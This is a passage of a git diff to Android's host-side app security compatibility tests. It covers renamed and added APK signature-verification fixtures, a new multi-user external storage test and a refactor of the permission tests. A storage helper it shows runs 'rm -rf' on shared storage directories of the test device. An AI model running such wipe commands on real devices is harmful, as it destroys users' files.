rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-8192.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-8192.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-1024.apk
new file mode 100644
index 0000000..2aea3bd
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-16384.apk
new file mode 100644
index 0000000..9fafe2c
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-2048.apk
new file mode 100644
index 0000000..348afda
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-3072.apk
new file mode 100644
index 0000000..db73a9b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-4096.apk
new file mode 100644
index 0000000..34be32d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-8192.apk
new file mode 100644
index 0000000..9af7d99
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-16384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-16384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-4096.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-4096.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-8192.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-8192.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-1024.apk
new file mode 100644
index 0000000..8e72556
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-16384.apk
new file mode 100644
index 0000000..d4fc6fb
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-2048.apk
new file mode 100644
index 0000000..1e3be03
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-3072.apk
new file mode 100644
index 0000000..ac9e972
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-4096.apk
new file mode 100644
index 0000000..d220048
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-8192.apk
new file mode 100644
index 0000000..c70bce1
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-16384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-16384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-4096.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-4096.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-8192.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-8192.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-1024.apk
new file mode 100644
index 0000000..480fcc5
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-16384.apk
new file mode 100644
index 0000000..a6089e6
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-2048.apk
new file mode 100644
index 0000000..9de481f
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-3072.apk
new file mode 100644
index 0000000..895e2c5
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-4096.apk
new file mode 100644
index 0000000..70b7592
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-8192.apk
new file mode 100644
index 0000000..475a4e6
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v2-only-empty.apk b/hostsidetests/appsecurity/res/pkgsigverify/v2-only-empty.apk
new file mode 100644
index 0000000..071ac7e
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v2-only-empty.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v2-only-max-sized-eocd-comment.apk b/hostsidetests/appsecurity/res/pkgsigverify/v2-only-max-sized-eocd-comment.apk
new file mode 100644
index 0000000..ef6cb43
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v2-only-max-sized-eocd-comment.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index d30558b..b63b040 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -111,9 +111,6 @@
 
     /**
      * If device doesn't have native FBE, verify normal lifecycle.
-     * Note: This test will have a false-negative on the emulator because of the
-     * tradefed and ddmlib incorrectly special-case handling the emulator which
-     * is fixed in http://r.android.com/315302
      */
     public void testDirectBootNone() throws Exception {
         if (!isSupportedDevice()) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 52dc79b..ae619fe 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -224,16 +224,57 @@
             // Verify they can't poke at each other
             runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testUserIsolation", owner);
             runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testUserIsolation", secondary);
-
-            // Verify they can't access other users' content using media provider
-            runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testMediaProviderUserIsolation", owner);
-            runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testMediaProviderUserIsolation", secondary);
         } finally {
             getDevice().uninstallPackage(MULTIUSER_PKG);
             removeUsersForTest(users);
         }
     }
 
+    /**
+     * Test that apps with read permissions see the appropriate permissions
+     * when apps with r/w permission levels move around their files.
+     */
+    public void testMultiViewMoveConsistency() throws Exception {
+        final int[] users = createUsersForTest();
+        try {
+            wipePrimaryExternalStorage();
+
+            getDevice().uninstallPackage(NONE_PKG);
+            getDevice().uninstallPackage(READ_PKG);
+            getDevice().uninstallPackage(WRITE_PKG);
+            final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+
+            assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
+            assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
+
+            for (int user : users) {
+                runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testFolderSetup", user);
+            }
+            for (int user : users) {
+                runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testRWAccess", user);
+            }
+
+            for (int user : users) {
+                runDeviceTests(WRITE_PKG, ".WriteMultiViewTest", "testMoveAway", user);
+            }
+            for (int user : users) {
+                runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testROAccess", user);
+            }
+
+            for (int user : users) {
+                runDeviceTests(WRITE_PKG, ".WriteMultiViewTest", "testMoveBack", user);
+            }
+            for (int user : users) {
+                runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testRWAccess", user);
+            }
+        } finally {
+            getDevice().uninstallPackage(NONE_PKG);
+            getDevice().uninstallPackage(READ_PKG);
+            getDevice().uninstallPackage(WRITE_PKG);
+            removeUsersForTest(users);
+        }
+    }
+
     private void wipePrimaryExternalStorage() throws DeviceNotAvailableException {
         getDevice().executeShellCommand("rm -rf /sdcard/Android");
         getDevice().executeShellCommand("rm -rf /sdcard/DCIM");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index 050845b..072a533 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -29,18 +29,12 @@
  * dynamic granting and behavior of legacy apps.
  */
 public class PermissionsHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
-    private static final String USES_PERMISSION_PKG = "com.android.cts.usepermission";
-    private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
+    private static final String PKG = "com.android.cts.usepermission";
 
     private static final String APK_22 = "CtsUsePermissionApp22.apk";
     private static final String APK_23 = "CtsUsePermissionApp23.apk";
     private static final String APK_24 = "CtsUsePermissionApp24.apk";
 
-    private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
-            "CtsDeclareNonRuntimePermissions.apk";
-    private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
-            "CtsEscalateToRuntimePermissions.apk";
-
     private IAbi mAbi;
     private IBuildInfo mCtsBuild;
 
@@ -61,16 +55,14 @@
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
-        getDevice().uninstallPackage(USES_PERMISSION_PKG);
-        getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+        getDevice().uninstallPackage(PKG);
     }
 
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
 
-        getDevice().uninstallPackage(USES_PERMISSION_PKG);
-        getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+        getDevice().uninstallPackage(PKG);
     }
 
     public void testFail() throws Exception {
@@ -78,7 +70,7 @@
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
         try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                     "testFail");
             fail("Expected remote failure");
         } catch (AssertionError expected) {
@@ -90,7 +82,7 @@
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
         try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                     "testKill");
             fail("Expected remote failure");
         } catch (AssertionError expected) {
@@ -101,7 +93,7 @@
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_22),
                 false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testCompatDefault");
     }
 
@@ -110,12 +102,12 @@
                 MigrationHelper.getTestFile(mCtsBuild, APK_22),
                 false, false));
         try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
+            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
                     "testCompatRevoked_part1");
             fail("App must be killed on a permission revoke");
         } catch (AssertionError expected) {
         }
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testCompatRevoked_part2");
     }
 
@@ -123,63 +115,63 @@
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_22),
                 false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testNoRuntimePrompt");
     }
 
     public void testDefault23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testDefault");
     }
 
     public void testGranted23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testGranted");
     }
 
     public void testInteractiveGrant23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testInteractiveGrant");
     }
 
     public void testRuntimeGroupGrantSpecificity23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRuntimeGroupGrantSpecificity");
     }
 
     public void testRuntimeGroupGrantExpansion23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRuntimeGroupGrantExpansion");
     }
 
     public void testCancelledPermissionRequest23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testCancelledPermissionRequest");
     }
 
     public void testRequestGrantedPermission23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRequestGrantedPermission");
     }
 
     public void testDenialWithPrejudice23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testDenialWithPrejudice");
     }
 
@@ -187,11 +179,11 @@
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
         try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                     "testRevokeAffectsWholeGroup_part1");
         } catch (AssertionError expected) {
         }
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokeAffectsWholeGroup_part2");
     }
 
@@ -199,51 +191,51 @@
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
         try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                     "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part1");
             fail("App must be killed on a permission revoke");
         } catch (Throwable expected) {
         }
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part2");
     }
 
     public void testRequestNonRuntimePermission23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRequestNonRuntimePermission");
     }
 
     public void testRequestNonExistentPermission23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRequestNonExistentPermission");
     }
 
     public void testRequestPermissionFromTwoGroups23() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRequestPermissionFromTwoGroups");
     }
 
 //    public void testOnlyRequestedPermissionsGranted24() throws Exception {
 //        assertNull(getDevice().installPackage(
 //                MigrationHelper.getTestFile(mCtsBuild, APK_24), false, false));
-//        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest24",
+//        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest24",
 //                "testOnlyRequestedPermissionsGranted");
 //    }
 
     public void testUpgradeKeepsPermissions() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_22), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testAllPermissionsGrantedByDefault");
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), true, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testAllPermissionsGrantedOnUpgrade");
     }
 
@@ -261,12 +253,12 @@
     public void testNoResidualPermissionsOnUninstall() throws Exception {
         assertNull(getDevice().installPackage(
